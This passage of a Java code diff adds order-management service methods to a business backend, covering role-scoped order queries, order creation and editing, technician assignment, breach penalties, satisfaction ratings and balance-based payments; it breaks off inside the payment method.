queryListJS(TpOrderBo bo) { + if (isNotBeforeToday9AM(bo.getParams().get("addEndTime").toString())){ + throw new ServiceException("查询时间不能是今天"); + } + bo.setIsDel(1); + bo.setKfOrjs(2); + LoginUser loginUser = LoginHelper.getLoginUser(); + if (loginUser != null && loginUser.getIdentity() == 3){ + throw new ServiceException("您无权限查看技术订单列表"); + } + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo); + if(LoginHelper.isSuperAdmin()){ + wrapper.selectAll(TpOrder.class); + }else { + if (loginUser.getIdentity() == 2 || loginUser.getIdentity() == 1){ + wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getType,TpOrder::getNum,TpOrder::getAddTime,TpOrder::getJsRemark,TpOrder::getPayState,TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getState,TpOrder::getDtTime); + wrapper.eq(TpOrder::getBid,loginUser.getUserId()); + }else { + wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getType,TpOrder::getNum,TpOrder::getAddTime,TpOrder::getJsRemark,TpOrder::getPayState,TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getState,TpOrder::getDtTime); + } + } + wrapper.selectAs("s.nick_name",SkillOrderVo::getSname) + .selectAs("f.nick_name",SkillOrderVo::getFname) + .selectAs("b.nick_name",SkillOrderVo::getBname) + .selectAs(TpClient::getName,SkillOrderVo::getCname) + .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .isNotNull(TpOrder::getBid) + .orderByDesc(TpOrder::getId); + + return baseMapper.selectJoinList(TpOrderVo.class,wrapper); + } + + /** + * 分页查询订单管理列表(订单回收站) + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单管理分页列表 + */ + @Override + public TableDataInfo queryPageList(TpOrderBo bo, PageQuery pageQuery) { + bo.setIsDel(2); + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpOrder.class) + .selectAs("s.nick_name",TpOrderVo::getSname) + .selectAs("f.nick_name",TpOrderVo::getFname) + .selectAs("b.nick_name",TpOrderVo::getBname) + .selectAs(TpClient::getName,TpOrderVo::getCname) + .selectAs(TpWechat::getCode,TpOrderVo::getWname) + .selectAs("concat(round(t.pay_price/t.price * 100),'%')",TpOrderVo::getBili) + .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid) + .orderByDesc(TpOrder::getId); + + //分页查询 (需要启用 mybatis plus 分页插件) + IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpOrderVo.class, wrapper); + return TableDataInfo.build(listPage); + } + + /** + * 客服订单查询 + * @param bo + * @param pageQuery + * @return + */ + @Override + public TableDataInfo queryCustomerPageList(TpOrderBo bo, PageQuery pageQuery) { + LoginUser loginUser = LoginHelper.getLoginUser(); + bo.setIsDel(1); + bo.setKfOrjs(1); + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapperKF(bo); + if(LoginHelper.isSuperAdmin()){ + wrapper.selectAll(TpOrder.class); + wrapper.selectAs(TpClientStaff::getName,CustomerOrderVo::getCname); + }else { + if (loginUser.getIdentity() == 3 || loginUser.getIdentity() == 1){ + wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getRemark,TpOrder::getType,TpOrder::getAddTime,TpOrder::getNum,TpOrder::getJsRemark,TpOrder::getPrice,TpOrder::getPayState,TpOrder::getPayPrice,TpOrder::getEndPrice,TpOrder::getKfpay,TpOrder::getState,TpOrder::getGjPrice,TpOrder::getGpay,TpOrder::getIsCd,TpOrder::getDtTime,TpOrder::getSid,TpOrder::getByOne,TpOrder::getByTwo,TpOrder::getByThree,TpOrder::getByFour,TpOrder::getSatisfiedTime,TpOrder::getCoupon,TpOrder::getJcsOrderId,TpOrder::getBreach); + wrapper.selectAs(TpClientStaff::getName,CustomerOrderVo::getCname); + }else { + wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getRemark,TpOrder::getType,TpOrder::getAddTime,TpOrder::getNum,TpOrder::getJsRemark,TpOrder::getPrice,TpOrder::getPayState,TpOrder::getPayPrice,TpOrder::getEndPrice,TpOrder::getGjPrice,TpOrder::getGpay,TpOrder::getIsCd,TpOrder::getState,TpOrder::getDtTime,TpOrder::getByOne,TpOrder::getByTwo,TpOrder::getByThree,TpOrder::getByFour,TpOrder::getSatisfiedTime,TpOrder::getCoupon,TpOrder::getJcsOrderId,TpOrder::getBreach); + wrapper.selectAs(TpClientStaff::getName,CustomerOrderVo::getCname); + } + } + wrapper.selectAs("s.nick_name",CustomerOrderVo::getSname) + .selectAs("f.nick_name",CustomerOrderVo::getFname) + .selectAs("b.nick_name",CustomerOrderVo::getBname) + .selectAs(TpWechat::getCode,CustomerOrderVo::getWname) + .selectAs("concat(round((t.pay_price + t.coupon)/t.price * 100),'%')",CustomerOrderVo::getBili) + .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) + .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid); + + if (bo.getByTwo() != null){ + wrapper.orderByDesc(TpOrder::getByFour); + }else{ + wrapper .orderByDesc(TpOrder::getId); + } + + //分页查询 (需要启用 mybatis plus 分页插件) + IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), CustomerOrderVo.class, wrapper); + return TableDataInfo.build(listPage); + } + + /** + * 技术订单查询 + * @param bo + * @param pageQuery + * @return + */ + @Override + public TableDataInfo querySkillPageList(TpOrderBo bo, PageQuery pageQuery) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if (loginUser != null && loginUser.getIdentity() == 2){ + if (isNotBeforeToday9AM(bo.getParams().get("addEndTime").toString())){ + throw new ServiceException("查询时间不能是今天"); + } + } + bo.setIsDel(1); + bo.setKfOrjs(2); + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo); + if(LoginHelper.isSuperAdmin()){ + wrapper.selectAll(TpOrder.class); + }else { + wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getType,TpOrder::getNum,TpOrder::getAddTime,TpOrder::getRemark,TpOrder::getJsRemark,TpOrder::getPayState,TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getState,TpOrder::getDtTime,TpOrder::getByOne,TpOrder::getByTwo,TpOrder::getByThree,TpOrder::getByFour,TpOrder::getSatisfiedTime,TpOrder::getCoupon,TpOrder::getJcsOrderId,TpOrder::getBreach); + } + wrapper.selectAs("s.nick_name",SkillOrderVo::getSname) + .selectAs("f.nick_name",SkillOrderVo::getFname) + .selectAs("b.nick_name",SkillOrderVo::getBname) + .selectAs(TpClient::getName,SkillOrderVo::getCname) + .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) + .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) + .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) + .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) + .isNotNull(TpOrder::getBid); + + if (bo.getByTwo() != null){ + wrapper.orderByDesc(TpOrder::getByFour); + }else{ + wrapper .orderByDesc(TpOrder::getId); + } + + //分页查询 (需要启用 mybatis plus 分页插件) + IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), SkillOrderVo.class, wrapper); + return TableDataInfo.build(listPage); + } + + private MPJLambdaWrapper buildQueryMPJWrapperKF(TpOrderBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + Map params = bo.getParams(); + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + lqw.eq(StringUtils.isNotBlank(bo.getOrderId()), TpOrder::getOrderId, bo.getOrderId()); + + if(!LoginHelper.isSuperAdmin()){ + if (loginUser != null){ + if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ + List userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 2)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if(userIds != null && userIds.size() > 0){ + lqw.and(i -> i.and(j -> j.in(TpOrder::getDeptId,bo.getDeptIds()).in(TpOrder::getDeptIdJs, bo.getDeptIds()))); + }else { + lqw.in(TpOrder::getDeptId,bo.getDeptIds()); + } + }else { + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + lqw.in(TpOrder::getDeptId,deptIds); + }else if(scope == 3){ + lqw.eq(TpOrder::getDeptId,loginUser.getDeptId()); + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + lqw.in(TpOrder::getDeptId,deptIds); + }else if(scope == 5){ + lqw.eq(TpOrder::getSid,loginUser.getUserId()); + } + } + lqw.like(StringUtils.isNotBlank(bo.getCname()), TpClientStaff::getName, bo.getCname()); + } + List orderTypeIds = getOrderTypeIds(); + if(orderTypeIds != null && orderTypeIds.size() > 0){ + lqw.in(TpOrder::getType, orderTypeIds); + } + }else { + if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ + if(bo.getKfOrjs() == 1){ + List userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 2)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if(userIds != null && userIds.size() > 0){ + lqw.and(i -> i.and(j -> j.in(TpOrder::getDeptId,bo.getDeptIds()).in(TpOrder::getDeptIdJs, bo.getDeptIds()))); + }else { + lqw.in(TpOrder::getDeptId,bo.getDeptIds()); + } + }else { + List userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 2)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if(userIds != null && userIds.size() > 0){ + lqw.and(i -> i.and(j -> j.in(TpOrder::getDeptId,bo.getDeptIds()).in(TpOrder::getDeptIdJs, bo.getDeptIds()))); + }else { + lqw.in(TpOrder::getDeptIdJs,bo.getDeptIds()); + } + } + } + lqw.like(StringUtils.isNotBlank(bo.getCname()), TpClient::getName, bo.getCname()); + } + + lqw.eq(bo.getPhone() != null, TpClient::getPhone, bo.getPhone()); + lqw.like(StringUtils.isNotBlank(bo.getWcode()), TpWechat::getCode, bo.getWcode()); + lqw.like(StringUtils.isNotBlank(bo.getScode()), "s.nick_name", bo.getScode()); + lqw.like(StringUtils.isNotBlank(bo.getBcode()), "b.nick_name", bo.getBcode()); + lqw.like(StringUtils.isNotBlank(bo.getFcode()), "f.nick_name", bo.getFcode()); + if(bo.getAssignState() != null){ + lqw.isNull(bo.getAssignState() == 1, TpOrder::getBid); + lqw.isNotNull(bo.getAssignState() == 2, TpOrder::getBid); + } + lqw.eq(bo.getStyle() != null, TpOrder::getStyle, bo.getStyle()); + lqw.like(StringUtils.isNotBlank(bo.getByOne()), TpOrder::getByOne, bo.getByOne()); + if(StringUtils.isNotBlank(bo.getByTwo())){ + if("4".equals(bo.getByTwo())){ + lqw.in(TpOrder::getByTwo,2,3); + }else{ + lqw.eq(TpOrder::getByTwo, bo.getByTwo()); + } + } +// lqw.in(StringUtils.isNotBlank(bo.getByTwo()), TpOrder::getByTwo, bo.getByTwo()); + lqw.like(StringUtils.isNotBlank(bo.getByThree()), TpOrder::getByThree, bo.getByThree()); + lqw.eq(bo.getByFour() != null, TpOrder::getByFour, bo.getByFour()); + lqw.like(StringUtils.isNotBlank(bo.getSpace()), TpOrder::getSpace, bo.getSpace()); + lqw.eq(bo.getQuality() != null, TpOrder::getQuality, bo.getQuality()); + lqw.eq(bo.getType() != null, TpOrder::getType, bo.getType()); + lqw.eq(bo.getState() != null, TpOrder::getState, bo.getState()); + lqw.like(StringUtils.isNotBlank(bo.getRemark()), TpOrder::getRemark, bo.getRemark()); + lqw.like(StringUtils.isNotBlank(bo.getJsRemark()), TpOrder::getJsRemark, bo.getJsRemark()); + lqw.eq(bo.getPayState() != null, TpOrder::getPayState, bo.getPayState()); + lqw.eq(bo.getIsDel() != null, TpOrder::getIsDel, bo.getIsDel()); + lqw.between(params.get("addBeginTime") != null && params.get("addEndTime") != null, + TpOrder::getAddTime, params.get("addBeginTime"), params.get("addEndTime")); + lqw.between(params.get("dtBeginTime") != null && params.get("dtEndTime") != null, + TpOrder::getDtTime, params.get("dtBeginTime"), params.get("dtEndTime")); + lqw.eq(bo.getIsC() != null, TpOrder::getIsC, bo.getIsC()); + lqw.eq(bo.getIsCd() != null, TpOrder::getIsCd, bo.getIsCd()); + return lqw; + } + + private MPJLambdaWrapper buildQueryMPJWrapper(TpOrderBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + Map params = bo.getParams(); + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + lqw.eq(StringUtils.isNotBlank(bo.getOrderId()), TpOrder::getOrderId, bo.getOrderId()); + + if(!LoginHelper.isSuperAdmin()){ + if (loginUser != null){ + if (loginUser.getIdentity() == 2){ + if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ + lqw.in(TpOrder::getDeptIdJs, bo.getDeptIds()); + }else { + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + lqw.in(TpOrder::getDeptIdJs,deptIds); + }else if(scope == 3){ + lqw.eq(TpOrder::getDeptIdJs,loginUser.getDeptId()); + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + lqw.in(TpOrder::getDeptIdJs,deptIds); + }else if(scope == 5){ + lqw.eq(TpOrder::getBid,loginUser.getUserId()); + } + } + }else{ + if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ + List userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 2)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if(userIds != null && userIds.size() > 0){ + lqw.and(i -> i.and(j -> j.in(TpOrder::getDeptId,bo.getDeptIds()).in(TpOrder::getDeptIdJs, bo.getDeptIds()))); + }else { + lqw.in(TpOrder::getDeptId,bo.getDeptIds()); + } + }else { + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + lqw.in(TpOrder::getDeptIdJs,deptIds); + }else if(scope == 3){ + lqw.eq(TpOrder::getDeptIdJs,loginUser.getDeptId()); + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + lqw.in(TpOrder::getDeptIdJs,deptIds); + }else if(scope == 5){ + lqw.eq(TpOrder::getSid,loginUser.getUserId()); + } + } + lqw.like(StringUtils.isNotBlank(bo.getCname()), TpClientStaff::getName, bo.getCname()); + } + } + List orderTypeIds = getOrderTypeIds(); + if(orderTypeIds != null && orderTypeIds.size() > 0){ + lqw.in(TpOrder::getType, orderTypeIds); + } + }else{ + if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ + if(bo.getKfOrjs() == 1){ + List userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 2)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if(userIds != null && userIds.size() > 0){ + lqw.and(i -> i.and(j -> j.in(TpOrder::getDeptId,bo.getDeptIds()).in(TpOrder::getDeptIdJs, bo.getDeptIds()))); + }else { + lqw.in(TpOrder::getDeptId,bo.getDeptIds()); + } + }else { + lqw.in(TpOrder::getDeptIdJs,bo.getDeptIds()); + } + } + lqw.like(StringUtils.isNotBlank(bo.getCname()), TpClient::getName, bo.getCname()); + } + + lqw.eq(bo.getPhone() != null, TpClient::getPhone, bo.getPhone()); + lqw.like(StringUtils.isNotBlank(bo.getWcode()), TpWechat::getCode, bo.getWcode()); + lqw.like(StringUtils.isNotBlank(bo.getScode()), "s.nick_name", bo.getScode()); + lqw.like(StringUtils.isNotBlank(bo.getBcode()), "b.nick_name", bo.getBcode()); + lqw.like(StringUtils.isNotBlank(bo.getFcode()), "f.nick_name", bo.getFcode()); + if(bo.getAssignState() != null){ + lqw.isNull(bo.getAssignState() == 1, TpOrder::getBid); + lqw.isNotNull(bo.getAssignState() == 2, TpOrder::getBid); + } + lqw.eq(bo.getStyle() != null, TpOrder::getStyle, bo.getStyle()); + lqw.like(StringUtils.isNotBlank(bo.getSpace()), TpOrder::getSpace, bo.getSpace()); + lqw.like(StringUtils.isNotBlank(bo.getByOne()), TpOrder::getByOne, bo.getByOne()); + if(StringUtils.isNotBlank(bo.getByTwo())){ + if("4".equals(bo.getByTwo())){ + lqw.in(TpOrder::getByTwo,2,3); + }else{ + lqw.eq(TpOrder::getByTwo, bo.getByTwo()); + } + } +// lqw.like(StringUtils.isNotBlank(bo.getByTwo()), TpOrder::getByTwo, bo.getByTwo()); + lqw.like(StringUtils.isNotBlank(bo.getByThree()), TpOrder::getByThree, bo.getByThree()); + lqw.eq(bo.getByFour() != null, TpOrder::getByFour, bo.getByFour()); + lqw.eq(bo.getQuality() != null, TpOrder::getQuality, bo.getQuality()); + lqw.eq(bo.getType() != null, TpOrder::getType, bo.getType()); + lqw.eq(bo.getState() != null, TpOrder::getState, bo.getState()); + lqw.like(StringUtils.isNotBlank(bo.getRemark()), TpOrder::getRemark, bo.getRemark()); + lqw.like(StringUtils.isNotBlank(bo.getJsRemark()), TpOrder::getJsRemark, bo.getJsRemark()); + lqw.eq(bo.getPayState() != null, TpOrder::getPayState, bo.getPayState()); + lqw.eq(bo.getIsDel() != null, TpOrder::getIsDel, bo.getIsDel()); + lqw.between(params.get("addBeginTime") != null && params.get("addEndTime") != null, + TpOrder::getAddTime, params.get("addBeginTime"), params.get("addEndTime")); + lqw.between(params.get("dtBeginTime") != null && params.get("dtEndTime") != null, + TpOrder::getDtTime, params.get("dtBeginTime"), params.get("dtEndTime")); + lqw.eq(bo.getIsC() != null, TpOrder::getIsC, bo.getIsC()); + lqw.eq(bo.getIsCd() != null, TpOrder::getIsCd, bo.getIsCd()); + return lqw; + } + + /** + * 新增订单管理 + * + * @param bo 订单管理 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpOrderBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if (loginUser.getIdentity() != 3){ + throw new ServiceException("只有客服才可以下单"); + } + + if(bo.getSkid() == null || bo.getSkid() == 0){ + throw new ServiceException("请选择客户"); + } + + if(bo.getKid() == null || bo.getKid() == 0){ + throw new ServiceException("请选择客户"); + } + + SysDept dept = deptMapper.selectById(loginUser.getDeptId()); + //生成订单号 + String orderNum = genItemId(); + bo.setOrderId(orderNum); + bo.setSid(loginUser.getUserId()); + bo.setAddTime(new Date()); + bo.setEndPrice(bo.getPrice()); + bo.setJsPrice(bo.getPrice()); + bo.setDeptId(loginUser.getDeptId()); + bo.setAncestors(dept.getAncestors()); + + TpOrder add = MapstructUtils.convert(bo, TpOrder.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + boolean res = saveOrderRecord(add.getId(),"创建订单","创建订单:"+orderNum+" 成功",1,null); + if(!res){ + throw new ServiceException("创建订单失败"); + } + } + return flag; + } + + /** + * 修改订单管理 + * + * @param bo 订单管理 + * @return 是否修改成功 + */ + @Override + @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) + public Boolean updateByBo(TpOrderBo bo) { + TpOrder order = baseMapper.selectById(bo.getId()); + if(StringUtils.isNotEmpty(bo.getOrderId()) && !Objects.equals(bo.getOrderId(), order.getOrderId())){ + throw new ServiceException("订单编号不可以修改"); + } + BigDecimal endPrice = bo.getPrice().subtract(order.getPayPrice().add(order.getCoupon())); + if(endPrice.compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("订单金额不可以小于已支付金额"); + } + if(order.getPayState() == 2){ + if (bo.getPrice().compareTo(order.getPayPrice().add(order.getCoupon())) == 0) { + bo.setPayState(3); + } + } + if(order.getPayState() == 3){ + if(bo.getPrice().compareTo(order.getPayPrice().add(order.getCoupon())) > 0){ + bo.setPayState(2); + } + } + bo.setEndPrice(endPrice); + bo.setJsPrice(bo.getPrice().subtract(order.getGjPrice()).subtract(order.getCdPrice())); + + // 判断技术已支付是否大于技术价格 + if(order.getJsPayPrice().compareTo(bo.getJsPrice()) > 0){ + bo.setJsPayPrice(bo.getJsPrice()); + } + TpOrder update = MapstructUtils.convert(bo, TpOrder.class); + boolean res = saveOrderRecord(order.getId(),"修改订单","订单:"+order.getOrderId()+" 修改成功",1,bo.getRecord()); + if(!res){ + throw new ServiceException("订单修改失败"); + } + return baseMapper.updateById(update) > 0; + } + + /** + * 修改订单信息 + * + * @param bo + * @return + */ + @Override + public Boolean updateInfoByBo(TpOrderBo bo) { + TpOrder update = MapstructUtils.convert(bo, TpOrder.class); + return baseMapper.updateById(update) > 0; + } + + /** + * 扣除违约金 + * + * @param bo + */ + @Override + public int breach(TpOrderBo bo) { + TpOrder order = baseMapper.selectById(bo.getId()); + if(order.getPayState() == 1){ + throw new ServiceException("该订单未支付,不可扣除违约金"); + } + BigDecimal jsPayPrice = getJsPayPrice(order.getPrice(),order.getPayPrice(),order.getPrice().subtract(order.getGjPrice()).subtract(order.getCdPrice())); +// order.setJsPayPrice(getJsPay(jsPayPrice.subtract(bo.getBreach()))); + boolean res = saveOrderRecord(order.getId(),"扣除违约金","订单:"+order.getOrderId()+" 修改成功",1,bo.getRecord()); + if(!res){ + throw new ServiceException("订单修改失败"); + } +// TpOrder update = new TpOrder(); +// update.setId(order.getId()); +// update.setBreach(getJsPay(jsPayPrice.subtract(bo.getBreach()))); + + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.eq(TpOrder::getId, order.getId()) + .set(TpOrder::getBreach, bo.getBreach()) + .set(TpOrder::getJsPayPrice, jsPayPrice.subtract(bo.getBreach())); + return baseMapper.update(null, updateWrapper); + } + + /** + * 满意度接口 + * + * @param bo + */ + @Override + public int satisfied(TpOrderBo bo) { + TpOrder order = baseMapper.selectById(bo.getId()); + if(order.getPayState() == 1){ + throw new ServiceException("该订单未支付,不可修改满意度"); + } + + //查询满意度ID最大ID + TpOrder maxOrder = baseMapper.selectOne(new LambdaQueryWrapper().select(TpOrder::getByFour).orderByDesc(TpOrder::getByFour).last("limit 1")); + + if(maxOrder != null && maxOrder.getByFour() != 0){ + bo.setByFour(maxOrder.getByFour() + 1); + } else { + bo.setByFour(1); + } + + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.eq(TpOrder::getId, order.getId()) + .set(TpOrder::getByTwo, bo.getByTwo()) + .set(TpOrder::getByThree, bo.getByThree()) + .set(TpOrder::getByFour, bo.getByFour()) + .set(TpOrder::getSatisfiedTime, new Date()); + return baseMapper.update(null, updateWrapper); + } + + /** + * 校验并批量删除订单管理信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + List list = baseMapper.selectByIds(ids); + for (TpOrder tpOrder : list) { + if(tpOrder.getPayState() != 1){ + throw new ServiceException("该订单已支付,不可删除"); + } + tpOrder.setIsDel(2); + boolean res = saveOrderRecord(tpOrder.getId(),"删除订单","删除订单:"+tpOrder.getOrderId()+" 成功",1,null); + if(!res){ + throw new ServiceException("删除订单失败"); + } + } + return baseMapper.updateBatchById(list); + } + + /** + * 订单指派技术 + * @param orderIds + * @param userId + * @return + */ + @Override + @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) + public boolean updateOrderAssign(List orderIds, Long userId) { + LoginUser loginUser = LoginHelper.getLoginUser(); + + SysUser user = sysUserMapper.selectById(userId); + + List orderList = new ArrayList<>(); + for (Long orderId : orderIds){ + TpOrder order = baseMapper.selectById(orderId); + order.setFid(loginUser.getUserId()); + order.setBid(userId); + + SysDept dept = deptMapper.selectById(user.getDeptId()); + order.setDeptIdJs(dept.getDeptId()); + order.setAncestorsJs(dept.getAncestors()); + + boolean res = saveOrderRecord(order.getId(),"订单分图","订单:"+order.getOrderId()+" 指派给"+user.getNickName()+" 成功",1,null); + if(!res){ + throw new ServiceException("订单指派失败"); + } + orderList.add(order); + } + return baseMapper.updateBatchById(orderList); + } + + /** + * 订单取消指派 + * @param orderId + * @return + */ + @Override + @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) + public int orderCancelAssign(Long orderId) { + TpOrder order = baseMapper.selectById(orderId); + order.setBid(null); + order.setBreach(null); + boolean res = saveOrderRecord(order.getId(),"取消指派","订单:"+order.getOrderId()+" 取消指派",1,null); + if(!res){ + throw new ServiceException("订单取消指派失败"); + } + return baseMapper.updateById(order); + } + + /** + * 订单支付获取订单和余额信息 + * @param orderId + * @return + */ + @Override + public TpOrderVo queryOrderPay(Long orderId) { + MPJLambdaWrapper wrapper = new MPJLambdaWrapper() + .select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getPrice,TpOrder::getPayPrice) + .selectAs(SysUser::getYue,TpOrderVo::getKfYue) + .selectAs(TpClientStaff::getYue,TpOrderVo::getKhYue) +// .selectAs("(SELECT yue from tp_client_staff c where c.kid = t.kid and c.sid = t.sid)",TpOrderVo::getKhYue) + .leftJoin(SysUser.class,SysUser::getUserId,TpOrder::getSid) + .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) + .eq(TpOrder::getId,orderId); + + TpOrderVo tpOrderVo = baseMapper.selectJoinOne(TpOrderVo.class, wrapper); + tpOrderVo.setTimestamp(String.valueOf(System.currentTimeMillis())); + return tpOrderVo; + } + + /** + * 订单支付 + * @param orderId + * @param type + * @param price + * @return + */ + @Override + @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) + public int orderPay(Long orderId, Integer type, BigDecimal price) { + LoginUser loginUser = LoginHelper.getLoginUser(); + TpOrder order = baseMapper.selectById(orderId); + if(order.getPayState() == 3){ + throw new ServiceException("该订单已付清,不可再支付"); + } + + //订单剩余支付 + BigDecimal payPrice = order.getPrice().subtract(order.getPayPrice()); + //差额 + BigDecimal cePrice = payPrice.subtract(price); + if(cePrice.compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("支付金额不能大于订单尾款"); + } else if (cePrice.compareTo(BigDecimal.ZERO) > 0) { + order.setDjPrice(order.getDjPrice().add(price)); + order.setDjpTime(new Date()); + } else if (cePrice.compareTo(BigDecimal.ZERO) == 0) { + order.setDjPrice(order.getDjPrice().add(price)); + order.setEndpTime(new Date()); + } + + BigDecimal newPayPrice = null; + if(type.equals(1)){ + newPayPrice = price.add(order.getPayPrice()); + TpClientStaff clientStaff = clientStaffMapper.selectById(order.getSkid()); + if(clientStaff.getYue().subtract(price).compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("客户账户余额不足"); + } + + TpClientFundBo tpClientFund = new TpClientFundBo(); + tpClientFund.setBalanceBefore(clientStaff.getYue()); + + clientStaff.setYue(clientStaff.getYue().subtract(price)); + clientStaffMapper.updateById(clientStaff); + + TpClient client = clientMapper.selectById(clientStaff.getKid()); + client.setYue(client.getYue().subtract(price)); + clientMapper.updateById(client); + + order.setKhpay(order.getKhpay().add(price)); + + // 添加客户资金日志 + tpClientFund.setKId(client.getId()); + tpClientFund.setSkId(clientStaff.getId()); + tpClientFund.setBizType(2); + tpClientFund.setChangeAmount(price); + tpClientFund.setBalanceAfter(clientStaff.getYue()); + tpClientFund.setOrderId(order.getId()); + tpClientFund.setOrderNo(order.getOrderId()); + tpClientFund.setCreateBy(loginUser.getUserId()); + tpClientFund.setRemark("订单消费"); + tpClientFundService.insertByBo(tpClientFund); + + boolean res = saveOrderRecord(order.getId(),"订单支付","订单:"+order.getOrderId()+" 客户支付金额:"+price+" 成功",1,null); + if(!res){ + throw new ServiceException("订单支付失败"); + } + }else if(type.equals(2)){ + SysUser sysUser = sysUserMapper.selectById(order.getSid()); + if(sysUser.getYue().subtract(price).compareTo(BigDecimal.ZERO) < 0){ + throw new ServiceException("客服账户余额不足"); + } + + if(order.getCdPrice().compareTo(BigDecimal.ZERO) > 0){ + if(price.subtract(order.getCdPrice()).compareTo(BigDecimal.ZERO) >= 0){ + newPayPrice = 